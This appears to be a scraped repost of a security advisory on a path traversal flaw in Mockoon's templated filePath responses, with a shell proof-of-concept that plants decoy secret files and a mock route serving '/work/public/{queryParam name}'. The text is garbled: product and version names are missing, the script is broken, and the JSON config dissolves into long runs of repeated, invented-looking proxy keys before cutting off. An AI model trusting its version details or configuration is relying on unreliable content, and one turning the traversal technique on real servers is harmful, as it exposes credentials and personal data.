Mockoon filePath Path Traversal Vulnerability Advisory and Fix

Vulnerability Overview A path traversal vulnerability exists in the template of , allowing requests to escape the service's directory (only prefix-based checks are performed). This vulnerability enables unauthorized clients to read files outside the service directory. Affected Versions Affected versions: and versions = 9.7.0 Remediation Upgrade to and versions >= 9.7.0 to fix this vulnerability. POC Code ```bash cat > /tmp/poc.sh public/index.txt echo "AWS_SECRET_ACCESS_KEY=redacted" > /work/public/.work/backup/env echo "Michael, michael@example.com, 555-22-7741" > /work/public/.work/backup/customers.csv cat > /work/env.json << "EOF2" { "uuid": "00000000-0000-0000-0000-000000000001", "lastIteration": 33, "name": "root", "port": 3000, "hostname": "", "folders": [], "routes": [ { "uuid": "11111111-0000-0000-0000-000000000001", "type": "http", "documentation": "", "method": "get", "endpoint": "responses": [ { "uuid": "22222222-0000-0000-0000-000000000001", "body": "", "latency": 0, "statusCode": 200, "label": "", "headers": [], "bodyType": "FILE", "filePath": "/work/public/{queryParam \"name\"}", "differentialBody": true, "rules": [], "rulesOperator": "OR", "disableTemplating": false, "fallbackTo404": false, "default": true, "crudKey": "", "callbacks": [] } ], "responseMode": null, "streamingMode": null, "streamingInterval": 0 }, { "uuid": "33333333-0000-0000-0000-000000000001", "type": "proxy", "documentation": "", "method": "get", "endpoint": "responses": [ { "uuid": "44444444-0000-0000-0000-000000000001", "body": "", "latency": 0, "statusCode": 200, "label": "", "headers": [], "bodyType": "INLINE", "filePath": null, "differentialBody": false, "rules": [], "rulesOperator": "OR", "disableTemplating": false, "fallbackTo404": false, "default": true, "crudKey": "", "callbacks": [] } ], "responseMode": null, "streamingMode": null, "streamingInterval": 0, "proxyPath": "", "proxyHost": "", "proxyPort": 0, "proxyProtocol": "HTTP", "proxyPathRewrite": "", "proxyRemovePrefix": false, "proxyWriteHeaders": false, "proxyKeepHost": false, "proxyEnablePathRewrite": false, "proxyEnableHostRewrite": false, "proxyEnablePortRewrite": false, "proxyEnableProtocolRewrite": false, "proxyEnablePathRewriteRegex": false, "proxyEnableHostRewriteRegex": false, "proxyEnablePortRewriteRegex": false, "proxyEnableProtocolRewriteRegex": false, "proxyEnablePathRewriteRegexSource": "", "proxyEnableHostRewriteRegexSource": "", "proxyEnablePortRewriteRegexSource": "", "proxyEnableProtocolRewriteRegexSource": "", "proxyEnablePathRewriteRegexTarget": "", "proxyEnableHostRewriteRegexTarget": "", "proxyEnablePortRewriteRegexTarget": "", "proxyEnableProtocolRewriteRegexTarget": "", "proxyEnablePathRewriteRegexSourceRegex": false, "proxyEnableHostRewriteRegexSourceRegex": false, "proxyEnablePortRewriteRegexSourceRegex": false, "proxyEnableProtocolRewriteRegexSourceRegex": false, "proxyEnablePathRewriteRegexTargetRegex": false, "proxyEnableHostRewriteRegexTargetRegex": false, "proxyEnablePortRewriteRegexTargetRegex": false, "proxyEnableProtocolRewriteRegexTargetRegex": false, "proxyEnablePathRewriteRegexSourceRegexSource": "", "proxyEnableHostRewriteRegexSourceRegexSource": "", "proxyEnablePortRewriteRegexSourceRegexSource": "", "proxyEnableProtocolRewriteRegexSourceRegexSource": "", "proxyEnablePathRewriteRegexTargetRegexSource": "", "proxyEnableHostRewriteRegexTargetRegexSource": "", "proxyEnablePortRewriteRegexTargetRegexSource": "", "proxyEnableProtocolRewriteRegexTargetRegexSource": "", "proxyEnablePathRewriteRegexSourceRegexTarget": "", "proxyEnableHostRewriteRegexSourceRegexTarget": "", "proxyEnablePortRewriteRegexSourceRegexTarget": "", "proxyEnableProtocolRewriteRegexSourceRegexTarget": "", "proxyEnablePathRewriteRegexTargetRegexTarget": "", "proxyEnableHostRewriteRegexTargetRegexTarget": "", "proxyEnablePortRewriteRegexTargetRegexTarget": "", "proxyEnableProtocolRewriteRegexTargetRegexTarget": "", "proxyEnablePathRewriteRegexSourceRegexTargetRegex": false, "proxyEnableHostRewriteRegexSourceRegexTargetRegex": false, "proxyEnablePortRewriteRegexSourceRegexTargetRegex": false, "proxyEnableProtocolRewriteRegexSourceRegexTargetRegex": false, "proxyEnablePathRewriteRegexTargetRegexTargetRegex": false, "proxyEnableHostRewriteRegexTargetRegexTargetRegex": false, "proxyEnablePortRewriteRegexTargetRegexTargetRegex": false, "proxyEnableProtocolRewriteRegexTargetRegexTargetRegex": false, "proxyEnablePathRewriteRegexSourceRegexTargetRegexSource": "", "proxyEnableHostRewriteRegexSourceRegexTargetRegexSource": "", "proxyEnablePortRewriteRegexSourceRegexTargetRegexSource": "", "proxyEnableProtocolRewriteRegexSourceRegexTargetRegexSource": "", "proxyEnablePathRewriteRegexTargetRegexTargetRegexSource": "", "proxyEnableHostRewriteRegexTargetRegexTargetRegexSource": "", "proxyEnablePortRewriteRegexTargetRegexTargetRegexSource": "", "proxyEnableProtocolRewriteRegexTargetRegexTargetRegexSource": "", "proxyEnablePathRewriteRegexSourceRegexTargetRegexTarget": "", "

Goal Reached Thanks to every supporter — we hit 100%!

Mockoon filePath Path Traversal Vulnerability Advisory and Fix

More from this source